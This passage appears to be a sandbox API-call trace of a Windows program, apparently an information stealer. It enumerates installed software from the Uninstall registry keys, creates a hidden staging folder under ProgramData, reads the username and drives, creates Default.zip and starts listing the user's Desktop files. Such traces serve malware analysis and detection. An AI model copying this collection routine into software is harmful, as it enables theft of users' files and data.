0x12 [0099.327] SetLastError (dwErrCode=0x12) [0099.327] GetLastError () returned 0x12 [0099.327] SetLastError (dwErrCode=0x12) [0099.327] GetLastError () returned 0x12 [0099.328] SetLastError (dwErrCode=0x12) [0099.328] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.328] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x21, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.328] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 90 [0099.328] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.328] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpcbData=0x19eb90*=0x3d) returned 0x0 [0099.328] GetLastError () returned 0x12 [0099.328] SetLastError (dwErrCode=0x12) [0099.328] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="11.0.61030.0", lpcbData=0x19eb90*=0xd) returned 0x0 [0099.328] GetLastError () returned 0x12 [0099.328] SetLastError (dwErrCode=0x12) [0099.328] GetLastError () returned 0x12 [0099.328] SetLastError (dwErrCode=0x12) [0099.328] GetLastError () returned 0x12 [0099.329] SetLastError (dwErrCode=0x12) [0099.329] GetLastError () returned 0x12 [0099.329] SetLastError (dwErrCode=0x12) [0099.329] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.329] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x22, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.329] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 90 [0099.329] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.329] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpcbData=0x19eb90*=0x3d) returned 0x0 [0099.329] GetLastError () returned 0x12 [0099.329] SetLastError (dwErrCode=0x12) [0099.329] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="12.0.30501.0", lpcbData=0x19eb90*=0xd) returned 0x0 [0099.329] GetLastError () returned 0x12 [0099.329] SetLastError (dwErrCode=0x12) [0099.330] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x667) returned 0x2117310 [0099.330] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116ec0 | out: hHeap=0x2110000) returned 1 [0099.330] GetLastError () returned 0x12 [0099.330] SetLastError (dwErrCode=0x12) [0099.330] GetLastError () returned 0x12 [0099.330] SetLastError (dwErrCode=0x12) [0099.330] GetLastError () returned 0x12 [0099.330] SetLastError (dwErrCode=0x12) [0099.330] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.330] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x23, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.330] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 90 [0099.330] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.330] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpcbData=0x19eb90*=0x3c) returned 0x0 [0099.330] GetLastError () returned 0x12 [0099.330] SetLastError (dwErrCode=0x12) [0099.330] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="10.0.40219", lpcbData=0x19eb90*=0xb) returned 0x0 [0099.331] GetLastError () returned 0x12 [0099.331] SetLastError (dwErrCode=0x12) [0099.331] GetLastError () returned 0x12 [0099.331] SetLastError (dwErrCode=0x12) [0099.331] GetLastError () returned 0x12 [0099.331] SetLastError (dwErrCode=0x12) [0099.331] GetLastError () returned 0x12 [0099.331] SetLastError (dwErrCode=0x12) [0099.331] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.331] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x24, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.331] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned 100 [0099.331] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.331] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.331] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.331] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x25, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.332] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned 100 [0099.332] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.332] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.332] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.332] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x26, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.332] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned 100 [0099.332] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.332] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.332] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.332] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x27, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.332] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned 100 [0099.332] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.332] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.332] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.332] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x28, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.332] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned 100 [0099.332] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.332] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.333] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.333] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x29, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.333] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned 100 [0099.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.333] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.333] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.333] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x2a, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.333] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned 99 [0099.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.333] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.333] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.333] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x2b, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.333] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 90 [0099.333] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.333] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpcbData=0x19eb90*=0x3e) returned 0x0 [0099.333] GetLastError () returned 0x12 [0099.333] SetLastError (dwErrCode=0x12) [0099.334] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="12.0.21005", lpcbData=0x19eb90*=0xb) returned 0x0 [0099.334] GetLastError () returned 0x12 [0099.334] SetLastError (dwErrCode=0x12) [0099.334] GetLastError () returned 0x12 [0099.334] SetLastError (dwErrCode=0x12) [0099.334] GetLastError () returned 0x12 [0099.334] SetLastError (dwErrCode=0x12) [0099.334] GetLastError () returned 0x12 [0099.334] SetLastError (dwErrCode=0x12) [0099.334] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.334] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x2c, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0099.334] RegCloseKey (hKey=0x2fc) returned 0x0 [0099.334] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.335] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430de0 [0099.335] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116948 [0099.335] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116808 | out: hHeap=0x2110000) returned 1 [0099.335] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e00 | out: hHeap=0x2110000) returned 1 [0099.335] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169b8 | out: hHeap=0x2110000) returned 1 [0099.335] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4f0) returned 0x21169e8 [0099.335] GetLastError () returned 0x12 [0099.335] SetLastError (dwErrCode=0x12) [0099.335] WriteFile (in: hFile=0x28, lpBuffer=0x19d9c0*, nNumberOfBytesToWrite=0x1093, lpNumberOfBytesWritten=0x19d9a0, lpOverlapped=0x0 | out: lpBuffer=0x19d9c0*, lpNumberOfBytesWritten=0x19d9a0*=0x1093, lpOverlapped=0x0) returned 1 [0099.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169e8 | out: hHeap=0x2110000) returned 1 [0099.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2117310 | out: hHeap=0x2110000) returned 1 [0099.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116948 | out: hHeap=0x2110000) returned 1 [0099.338] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430de0 | out: hHeap=0x2110000) returned 1 [0099.338] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116828 | out: hHeap=0x2110000) returned 1 [0099.338] WriteFile (in: hFile=0x28, lpBuffer=0x19dc5c*, nNumberOfBytesToWrite=0x2cb, lpNumberOfBytesWritten=0x19dc3c, lpOverlapped=0x0 | out: lpBuffer=0x19dc5c*, lpNumberOfBytesWritten=0x19dc3c*=0x2cb, lpOverlapped=0x0) returned 1 [0099.338] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112758 | out: hHeap=0x2110000) returned 1 [0099.338] CloseHandle (hObject=0x28) returned 1 [0099.340] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x3430f40 [0099.340] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\files"), lpSecurityAttributes=0x0) returned 1 [0099.341] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0099.341] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x3430f40 [0099.341] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Files" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\files")) returned 1 [0099.341] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0099.350] GetLastError () returned 0x12 [0099.350] SetLastError (dwErrCode=0x12) [0099.350] GetLastError () returned 0x12 [0099.350] SetLastError (dwErrCode=0x12) [0099.350] GetLastError () returned 0x12 [0099.351] SetLastError (dwErrCode=0x12) [0099.351] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430f40 [0099.351] GetLastError () returned 0x12 [0099.351] SetLastError (dwErrCode=0x12) [0099.351] GetLastError () returned 0x12 [0099.351] SetLastError (dwErrCode=0x12) [0099.351] GetLastError () returned 0x12 [0099.351] SetLastError (dwErrCode=0x12) [0099.351] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0099.351] GetLastError () returned 0x12 [0099.351] SetLastError (dwErrCode=0x12) [0099.351] GetUserNameA (in: lpBuffer=0x19d44c, pcbBuffer=0x19d448 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19d448) returned 1 [0099.400] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.400] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304c0 [0099.400] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.400] GetLogicalDriveStringsA (in: nBufferLength=0x64, lpBuffer=0x19f760 | out: lpBuffer="C:\\") returned 0x4 [0099.400] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0099.400] GetLastError () returned 0x12 [0099.400] SetLastError (dwErrCode=0x12) [0099.404] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4098) returned 0x21169e8 [0099.408] CreateFileA (lpFileName="Default.zip" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\files\\default.zip"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0099.408] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116958 [0099.409] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0099.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0099.409] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x34300d0 [0099.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x34300d0, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0099.409] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21104a0 [0099.409] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.409] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.409] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0099.409] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x13b96e47, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x13b96e47, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1cd8 [0099.409] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.409] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.409] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0099.409] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.409] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.409] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0099.409] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.413] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x13b96e47, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x13b96e47, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.413] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.413] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.413] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0099.413] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.413] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.414] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0099.414] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.414] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.414] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x697a7bf0, ftCreationTime.dwHighDateTime=0x1d7a38d, ftLastAccessTime.dwLowDateTime=0x7c7bd330, 